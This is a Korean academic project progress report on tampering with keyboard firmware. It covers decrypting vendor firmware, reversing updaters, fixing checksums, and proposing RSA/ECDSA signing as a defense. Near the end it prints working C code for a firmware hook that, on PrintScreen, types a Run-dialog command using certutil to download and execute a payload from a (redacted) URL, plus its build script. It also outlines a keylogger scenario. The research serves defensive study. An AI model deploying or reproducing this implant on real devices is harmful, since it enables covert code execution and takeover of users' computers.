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１요구조건 및 제약 사항 분석에 대한 수정사항 

[그림 1. 전체 구성도] 

１-１요구조건 

• 대상 키보드에 대한 펌웨어 추출 및 분석 

• 분석된 내용을 바탕으로 공격 시나리오 도출 

• 키보드 펌웨어를 변조해 악성 행위 구현 

• 키보드 펌웨어의 보안 강화를 위한 대응 방안 도출 

 

１-２제약 사항 및 수정사항 

• 추출한 펌웨어가 암호화되어 있는 경우 

✓ 펌웨어가 암호화 되어있고, 펌웨어 업데이트 진행 중 복호화 과정이 있는 

경우 펌웨어 업데이터를 분석하여 복호화를 진행 

 

• Lock Bit 가 설정되어 키보드 펌웨어 디버깅이 어려움 

✓ Lock Bit 가 설정되어 디버깅이 디버깅이 어려울 경우, Lock Bit 를 해제 후 

진행. Lock Bit 를 해제하기 위해서는 우선 플래시 메모리를 완전히 지우는 과정이 



 
  

 

 
  

 

필요함. 이를 위해 키보드의 애플리케이션 영역과 부트로더 영역을 먼처 추출 후 

플레시 메모리를 와이핑 하고, Lock Bit 를 해제하고 추출한 펌웨어를 다시 쓰는 

방식으로 디버거블하게 만들 수 있음. 

２설계 상세화 및 변경내역 

２-１키보드 펌웨어 획득 및 분석 

키보드 별로 획득경로가 다양하다. 쉽게는 키보드 제조사 공식 홈페이지에서 펌웨어를 

바로 다운로드 받을 수 있지만, 펌웨어를 제공하더라도 암호화가 되어있는 경우가 있다. 

또 다른 경우로 펌웨어가 포함된 특수한 파일 형태로 펌웨어가 제공되어 펌웨어 

업데이터를 분석해 펌웨어를 해당 파일에서 직접 추출해야 한다. 따라서 각 키보드가 

펌웨어를 업데이트하는 방식과 상황에 맞게 다른 방식으로 펌웨어를 추출해야 한다. 

 

２-１-１펌웨어 획득 

현재 대상으로 하는 키보드는 4 가지이며, 획득방법을 다음과 같다. 

• Deck CBL-87XN 

✓ 제조사 홈페이지에서 제공됨. 

• 한성 GK893B 

✓ 제조사 홈페이지에서 제공됨. 그러나 암호화 되어있어 복호화 과정이 

필요함. 

• Varmilo VA89M 

✓ 제조사에서 특수한 파일 형태(.MTP 확장자) 형태로 제공되어 펌웨어 

업데이터를 분석해 펌웨어를 추출해야 함. 

• Corsair K70 RGB TKL 

✓ 제조사 홈페이지에서 제공됨. 

  



 
  

 

 
  

 

２-１-２펌웨어 분석 

• 펌웨어 추출 후 얻어낸 펌웨어를 분석해 변조가 가능한지 판단 

• 암호화가 되어있으면 업데이터를 분석해서 알아내거나 직접 펌웨어 파일을 분석해 

복호화 과정 수행 

• 변조된 펌웨어가 업데이터를 통해 키보드에 올라간 후 정상적으로 동작하는 지 

확인 

 

２-２악성 행위 구현 및 공격 시나리오 도출 

 공격 시나리오는 다음과 같이 두 가지 방식으로, 각 시나리오대로 악성 행위를 

구현한다. 

• 악성 프로그램 설치 

✓ 키보드 펌웨어에 악성프로그램을 다운받고 설치하는 코드를 삽입한다. 

이후 사용자가 키보드를 사용할 때 악성 프로그램이 설치되어 이를 통해 사용자의 

컴퓨터를 장악할 수 있다. 

• 키로거( Keylogger ) 

✓ 사용자가 하는 키 입력들을 키보드에 있는 저장공간을 활용하여 저장하고, 

인터넷에 연결된 경우 저장된 키 입력들을 전송한다. 

  



 
  

 

 
  

 

２-３펌웨어 변조를 막기 위한 보호기법 도출 

펌웨어 변조를 막기 위해 디지털 서명을 활용할 수 있을 것이다. RSA, ECDSA 방식이 

있는데 더 적합한 방법을 고민해보고 상황에 맞는 방법을 사용할 것이다. 

２-３-１ RSA 

공개키, 개인키라는 두 개의 키를 사용한다. 공개키는 모두에게 알려져 있으며 메시지를 

암호화하는데 쓰이며, 암호화된 메시지는 개인키를 가진 자만 복호화할 수 있다. 

메세지가 인증된 사용자로부터 왔는지 확인하기 위해 서명와 검증절차도 가능한데, 

개인키로 암호화(서명)하고 공개키로 복호화(검증)하는 과정으로 가능하다. 

２-３-２ ECDSA 

ECDSA (Elliptic Curve Digital Signature Algorithm)는 타워곡선을 이용한 전자서명 

알고리즘이다. ECDSA 의 키는 RSA 보다 더 작지만 보안 수준이 유사하다. 

２-３-３ 보호기법 도출 

위와 같이 보호기법은 RSA 나 ECDSA 방식으로 펌웨어 변조를 방지할 수 있을 것이다. 

RSA 방식을 사용하면 키 생성, 암호화 및 복호화가 간단하지만 ECDSA 가 RSA 보다 동등한 

수준의 보안성이지만 공개키 사이즈가 절반이기 때문에 공간이 작은 키보드의 저장공간에  

키를 저장하기 더 쉽다. 

 

[그림 2. RSA 암호와 ECDSA (ECC)암호의 서명 키 크기 비교] 

따라서 각 키보드의 상황에 맞게 RSA또는 ECDSA를 선택하여 보호기법을 적용해야한다. 

  



 
  

 

 
  

 

３ 갱신된 과제 추진 계획 

  

 

４ 구성원별 진척도 

이름 역할 

이창율 

키보드 펌웨어 분석 도구 개발 완료 

키보드 펌웨어(Vamilo, Corsair) 분석 진행 중 

변조된 펌웨어 제작 진행 중 

차현수 

키보드 펌웨어(Deck, 한성) 분석 완료 

키보드 펌웨어 업데이터 분석 및 개발 진행 중 

변조된 펌웨어 제작 진행 중 

당낫투안 

펌웨어 변조 관련 논문 조사 및 자료 수집 완료 

키보드 펌웨어 분석을 위한 실험 환경 구성 진행 중 

키보드 펌웨어 보호기법 도출 진행 중 

 

  



 
  

 

 
  

 

５ 보고 시점까지의 과제 수행 내용 및 중간 결과 

５-１ 각 키보드 별 펌웨어 분석 내용 

５-１-１ 펌웨어 분석을 위한 도구 제작 

펌웨어의 원활한 분석을 위해 추가적인 도구을 제작했다. 펌웨어 분석을 위해 IDA 라는 

분석 프로그램을 사용한다. IDA 에서 사용가능한 Firmloader 라는 오픈소스 플러그인이 

있는데 펌웨어의 Vector table 과 Register 등의 정보가 있는 데이터가 필요하다. 그래서 

우리가 분석할 키보드의 MCU Data sheet 를 기반으로 데이터를 만들어내는 코드를 

구현했다. 

... 

interrupt = [["IRQ0_SRC", 0x00, "R", "IRQ0 (BOD) interrupt source identity", "0xXXXX_XXXX"], 

["IRQ1_SRC", 0x04, "R", "IRQ1 (WDT) interrupt source identity", "0xXXXX_XXXX"], 

["IRQ2_SRC", 0x08, "R", "IRQ2 (EINT0) interrupt source identity", "0xXXXX_XXXX"], 

["IRQ3_SRC", 0x0C, "R", "IRQ3 (EINT1) interrupt source identity", "0xXXXX_XXXX"], 

["IRQ4_SRC", 0x10, "R", "IRQ4 (GPA/B) interrupt source identity", "0xXXXX_XXXX"], 

["IRQ5_SRC", 0x14, "R", "IRQ5 (GPC/D/F) interrupt source identity", "0xXXXX_XXXX"], 

... 

data = {} 

data['brand'] = 'NUVOTON' 

data['family'] = 'NuMicro' 

data['name'] = 'NUC123' 

data['bits'] = 32 

data['mode'] = 1 

data['segments'] = [ 

    { 

        "name": "FLASH", 

        "start": "0x0", 

        "end": "0xffff", 

        "type": "CODE" 

    }, 

    { 

        "name": "SRAM", 

        "start": "0x20000000", 

        "end": "0x20004fff", 

        "type": "DATA" 

    } 

] 

... 

data['vector_table'] = [] 

addr = 0 

for e in int_table: 

    name = e[0] 

    value = e[1] 

    comment = e[2] 

  



 
  

 

 
  

 

    if value >= 0: 

        src_ip = e[3] 

 

    if name == 'Reserved': 

        addr += 4 

        continue 

 

    tmp_dict = {} 

    tmp_dict['name'] = name 

    tmp_dict['value'] = value 

    tmp_dict['addr'] = hex( addr ) 

    tmp_dict['comment'] = comment 

    data['vector_table'].append( copy.deepcopy( tmp_dict ) ) 

    addr += 4 

 

with open( "nuc123.json", "w" ) as f: 

    f.write( json.dumps( data ) ) 

  

[그림 3. 데이터 생성 구현 코드 중 일부] 

 

 

 

 



 
  

 

 
  

 

 

[그림 4. 생성된 데이터 중 일부] 

 

펌웨어 정보가 담긴 데이터를 생성해내면, 이 데이터를 이용해 더 원활하게 펌웨어 

분석이 가능하다. 

또한, Firmloader 플러그인 코드 중 현재 대상 키보드 펌웨어를 분석할 때 맞지 않는 

부분이 있어 약간 수정하였다. 

 

[그림 5. Firmloader 플러그인 코드 수정 전] 

 

 

[그림 6. Firmloader 플러그인 코드 수정 후] 



 
  

 

 
  

 

 

[그림 7. 데이터 적용 전] 

 

 

[그림 8. 데이터 적용 후] 

 

만들어낸 데이터를 적용하면 아무 의미 없던 16 진수 데이터에 그림 7 과 같이 설명과 

정보가 추가되어 분석이 원활해진다. 

  



 
  

 

 
  

 

５-１-２ Deck CBL-87XN 

 

[그림 9. Deck CBL-87XN 펌웨어 및 펌웨어 업데이터 파일 목록] 

 

Deck 의 CBL-87XN 키보드의 펌웨어와 펌웨어 업데이터는 제조사 홈페이지에서 구할 수 

있다. 그럼 8 에서 (87XN)L2226V301.bin 파일이 펌웨어이고, USB_FD.exe 파일이 펌웨어 

업데이터이다. 

 

 

[그림 10. USB_FD.exe 펌웨어 업데이터 코드 중 일부] 

 

펌웨어가 암호화 되어있어, 펌웨어 업데이터를 분석해 복호화 과정을 찾았고, 이를 

기반으로 파이썬으로 복호화 과정을 구현해 펌웨어 복호화를 성공했다. 

 

 

[그림 11. Deck CBL-87XN 펌웨어 복호화 구현 코드] 

 



 
  

 

 
  

 

 

[그림 12. 암호화된 펌웨어] 

 

 

[그림 13. 복호화된 펌웨어] 

 

계속해서 펌웨어를 분석하기 위해 그림 14 처럼 키보드를 분해하여 MCU 를 알아내었다. 

MCU 의 일련번호는 NUC123SD4AN0 로, 제조사는 Nuvoton 이고 NUC123 이름의 32bit 

ARM-Cortex-M0 아키텍처를 사용하는 칩임을 알 수 있었다. 



 
  

 

 
  

 

  

[그림 14. 분해한 Deck CBL-87XN 키보드의 기판] 

 

얻어낸 MCU 정보로 칩 제조사 Nuvoton 에서 제공하는 데이터 시트를 활용해 vector 

table 과 instruction 들을 식별할 수 있었다.  

 

 

[그림 15. 펌웨어의 Vector table 중 일부] 

 



 
  

 

 
  

 

 

[그림 16. 펌웨어의 Instruction 일부] 

 

 

 

그리고 펌웨어의 가장 마지막 부분에서 4 바이트로 되어있는 Checksum 값이 있음을 

확인했다. 펌웨어를 변조하면 Checksum 을 다시 계산해 넣어주어야 한다. Checksum 을 

구하는 방법은 많이 사용되는 방법을 추측하여 계산했고, 그림 17 에 나와있는 코드와 

같이 추측한 방법으로 변조된 펌웨어의 Checksum 을 다시 계산하여 적용했다. 해당 

방법으로 계산된 Checksum 이 있는 펌웨어를 키보드에 올렸을 때 문제없이 동작했기 

때문에 이 방법이 정확했음을 알 수 있다. 

 

 

 

 

[그림 17. 펌웨어 끝 부분에 있는 Checksum] 

 



 
  

 

 
  

 

 

[그림 18. Checksum 계산 구현 코드] 

 

여기까지 Deck CBL-87XN 키보드의 분석내용으로, 분석이 완료되어 펌웨어를 변조하기 

위해 필요한 정보를 모두 얻어내었다. 

 

５-１-３ 한성 GK893B  

한성 GK893B 키보드는 펌웨어와 업데이터를 제조사에서 제공한다. 그림 18 은 펌웨어 

및 업데이터의 목록이며 GK893B_6K V1.1.2_20230223.bin 파일이 펌웨어이고, GTune GK 

Tuner.exe 파일이 펌웨어 업데이터이다. 

 
[그림 19. Varmilo VA89M 펌웨어 및 펌웨어 업데이터 파일 목록] 

 

한성의 펌웨어도 암호화가 되어있었다. 펌웨어 파일을 분석해보았을 때, 문자열이 8 의 

배수의 길이로 반복되고 특정 문자열이 반복되는 것을 볼 수 있었다. 따라서 블록암호의 

모드 중 ECB 모드를 사용한 것으로 추측했다. 가장 많이 출현한 4096DD959A3D2DFF 



 
  

 

 
  

 

블록의 복호화 결과를 0000000000000000 로 가정하고, 암호 알고리즘을 DES 로 가정하여 

암호키 7200000000000000 를 획득하였다. 이를 기반으로 코드를 작성하여 복호화에 

성공하였다. 

 

[그림 20. 펌웨어 복호화 구현 코드] 

 

 

[그림 21. 암호화된 펌웨어] 

 



 
  

 

 
  

 

 

 

 

[그림 22. 복호화된 펌웨어] 

 

 

 

앞서 분석했던 키보드와 마찬가지로 따로 MCU 의 정보가 없었다. 그래서 키보드를 

분해하여 MCU 가 HCN213 이라는 것을 알아냈다. 그러나 HCN213 이라는 MCU 의 정보가 

없었지만, 디버그핀이 노출되어 있어서 이를 이용해 정확한 MCU 정보를 알아내었다. 

 

 

[그림 23. 분해한 한성 GK893B 키보드의 기판] 

 

 



 
  

 

 
  

 

 

[그림 24. 한성 GK893B 키보드의 디버그 핀과 연결한 모습] 

 

 

[그림 25. 디버그 핀으로 키보드에 연결해 MCU 등의 정보 출력 장면] 

 

정확한 MCU 는 NUC123LD4AN 이라는 것을 알아낼 수 있었고, 먼저 분석한 Deck CBL-

87XN 키보드와 같은 MCU 라는 것을 알 수 있었다. 

 



 
  

 

 
  

 

[그림 26. 펌웨어 Vector table 중 일부] 

 

 

[그림 27. 펌웨어 Instruction 중 일부] 

 

여기까지 한성 GK893B 키보드의 분석내용으로 분석이 완료되어 펌웨어를 변조하기 

위해 필요한 정보를 모두 얻어내었다. 

  



 
  

 

 
  

 

５-１-４ Varmilo VA89M 

  Varmilo VA89M 키보드의 펌웨어 및 펌웨어 업데이터는 공식 홈페이지에서 구할 수 

있었다. 그림 28 은 다운로드 받은 펌웨어 업데이터 등 파일들의 목록이다. 

 

 

[그림 28. Varmilo VA89M 펌웨어 및 펌웨어 업데이터 파일 목록] 

 

ISPTool.exe 가 펌웨어 업데이터이고, 英文WINDOWS-APPLE-KB-20200902-C55DH-Fix-

8DB5H.MTP 파일이 펌웨어 업데이트에 사용되는 파일이다. 

 

펌웨어 업데이터가 .NET 으로 구현되어 있어서 디컴파일툴로 리버싱을 할 수 있었다. 

그림 29 는 펌웨어 업데이터의 디컴파일된 코드 중 일부이며, 업데이터와 함께 제공된 

MTP 파일을 불러오는 함수 LoadMTPFile 이다. 

 

[그림 29. 펌웨어 업데이터 프로그램의 디컴파일된 코드 중 일부] 

 



 
  

 

 
  

 

펌웨어 업데이터는 MTP 파일을 그림 29 에 있는 LoadMTPFile 함수로 읽어와 파일의 

내용을 pMtpBuf 변수에 저장한다.  

 

 

[그림 30. LoadMTPFile 이후 호출되는 LoadProgramData 함수] 

 

LoadMTPFile 함수가 호출된 이후  LoadProgramData 함수가 호출되는데, 호출된 

LoadProgramData 함수 내부에서 LoadProgData 함수를 또 다시 호출하는 것을 그림 

31 에서 볼 수 있다. 이때 앞에서 MTP 파일을 읽어와 저장해둔 pMtpBuf 변수를 인자로 

넘겨준다. 

 

[그림 31. LoadProgramData 함수 내부에서 호출되는 ISPDLL.dll 에 있는 LoadProgData 함수] 

 

LoadProgData 함수는 그림 28 에서 보았던 파일 중 ISPDLL.dll 파일에 있는 함수이다. 

다른 툴을 사용해 ISPDLL.dll 파일에 있는 LoadProgData 함수를 분석했다. 

 

[그림 32. ISPDLL.dll 에 있는 LoadProgData 함수. 내부에서 다시 LoadProgdataEx 함수가 호출됨] 

 



 
  

 

 
  

 

ISPDLL.dll 파일에 있는 LoadProgData 함수 내부를 보면 다시 LoadProgdataEx 함수가 

호출된다. 복잡하게 내부에서 다른 함수를 호출하는 과정을 수 차례 거치지만, 

LoadProgdataEx 함수가 최종적으로 MTP 파일의 내용을 분석하고 파싱하는 함수이다. 

 

 

[그림 33. ISPDLL.dll 에 있는 LoadProgdataEx 함수 중 일부] 

 

그림 33 은 LoadProgdataEx 함수의 일부이다. 특정 전역변수에 값을 저장하는 등의 

동작을 하는데, 이 함수의 분석이 끝나면 펌웨어를 추출할 수 있을 것으로 기대한다. 

 

  



 
  

 

 
  

 

５-１-５ Corsair K70 RGB TKL 

 

[그림 34. 커세어 키보드 홈페이지에서 제공하는 업데이터 iCUE] 

 

 

[그림 35. K70 RGB TKL 키보드 펌웨어 파일] 

 

Corsair K70 RGB TKL 키보드는 Corsair 홈페이지에서 제공하는 업데이터와 펌웨어를 구할 

수 있었다. Hammer_Application_Firmware_v1.8.25.bin 이 펌웨어 파일인데, 일반적인 

펌웨어는 아니고 자체적으로 사용하는 특수한 파일로 보인다. 해당 파일을 살펴보면 날짜 

정보 등이 보이고 업데이터 내부에서 파싱하는 과정을 거치는 것으로 추측된다.  

 

 

[그림 36. 펌웨어 파일 내용 중 일부] 

 

업데이터의 동작과 Hammer_Application_Firmware_v1.8.25.bin 파일의 분석이 

추가적으로 필요하다. 

 

  



 
  

 

 
  

 

５-２ . 악성 행위 구현 

분석한 내용을 바탕으로 펌웨어를 변조할 수 있었다. 특히 분석이 끝난 Deck CBL-87XN, 

한성 GK893B 의 변조된 펌웨어를 키보드에 올릴 수 있었고, 제대로 동작하는 것을 

확인했다. 

• Deck CBL-87XN 

Deck CBL-87XN 키보드의 펌웨어에 PrintScreen 키를 누르면 윈도우의 cmd 창을 열어 

악성프로그램을 다운받고, 다운받은 프로그램을 실행하는 동작의 코드를 삽입했다. 그림 

37 은 악성행위를 C 로 구현한 것이고, 그림 38 은 C 로 구현한 악성행위를 펌웨어의 

아키텍처에 맞게 컴파일하는 스크립트이다. 

 

__attribute__((flatten)) int hooked_send_descriptor(int a1, uint8_t *buf, int 
size) 
{ 

  char phase_2[0x4c]; 
  imemcpy(phase_2, "cmd\ncertutil -urlcache -split -f http://--url(deleted)--
/poc.exe && poc.exe\n", 0x4c); 
  send_descriptor_t send_descriptor; 
  send_descriptor = (send_descriptor_t)send_descriptor; 

 
  if(a1 == 2 && size==8) 
  { 
    // PrintScreen Key 
    if(buf[0] == 0x00 && buf[2] == 0x46) 

    { 
 
      // Windows + R 
      send_key(8, 0); 
      send_key(8, 21); 

      send_key(8, 0); 
      send_key(0, 0); 
 
      // cmd 
      for(int i=0; i<sizeof(phase_2)-1; i++) 

      { 
        uint8_t ch; 
        ch = phase_2[i]; 
 
        if(ch >= 'a' && ch <= 'z') 

        { 
          ch = ch - 'a' + 4; 
          send_key(0, ch); 
          send_key(0, 0); 
        } 

        else if(ch >= '1' && ch <= '9') 
        { 
          ch = ch - '1' + 30; 
          send_key(0, ch); 
          send_key(0, 0); 

        }  



 
  

 

 
  

 

        else if(ch == '0') 
        { 
          ch = 39; 

          send_key(0, ch); 
          send_key(0, 0); 
        } 
        else if (ch == ' ') 
        { 

          ch = 0x2C; 
          send_key(0, ch); 
          send_key(0, 0); 
        } 
        else if(ch == '-') 

        { 
          ch = 0x2D; 
          send_key(0, ch); 
          send_key(0, 0); 
        } 

        else if(ch == '\n') 
        { 
          ch = 0x28; 
          send_key(0, ch); 
          send_key(0, 0); 

        } 
        else if(ch == ':') 
        { 
          send_key(0x20, 0); 
          send_key(0x20, 0x33); 

          send_key(0x20, 0); 
          send_key(0, 0); 
        } 
        else if(ch == '/') 
        { 

          ch = 0x38; 
          send_key(0, ch); 
          send_key(0, 0); 
        } 
 

        else if(ch == '.') 
        { 
          ch = 0x37; 
          send_key(0, ch); 
          send_key(0, 0); 

        } 
        else if(ch == '&') 
        { 
          send_key(0x20, 0); 
          send_key(0x20, 0x24); 

          send_key(0x20, 0); 
          send_key(0, 0); 
        } 
      } 
    } 

  } 
  return send_descriptor(a1, buf, size); 
}  

[그림 37. 악성 행위를 구현한 코드] 

 



 
  

 

 
  

 

#!/bin/bash 
 
arm-none-eabi-gcc -Os -c -mthumb -mcpu=cortex-m0 -o code.o code.c 

ls -al code.o 
nm code.o  

[그림 38. 악성 행위 코드를 펌웨어 아키텍처에 맞게 컴파일하는 스크립트] 

 

그림 38 의 스크립트로 악성 행위 코드를 빌드하여 펌웨어에 삽입하면 악성 행위를 

수행하는 변조된 펌웨어를 만들 수 있다. 

 

• 한성 GK893B 

한성 GK893B 키보드 펌웨어의 데이터 중 제조사 이름부분을 변경해 변조된 펌웨어를 

키보드에 올릴 수 있음을 보였다. 

 

[그림 39. 정상 펌웨어] 

 

 

[그림 40. 변조된 펌웨어] 


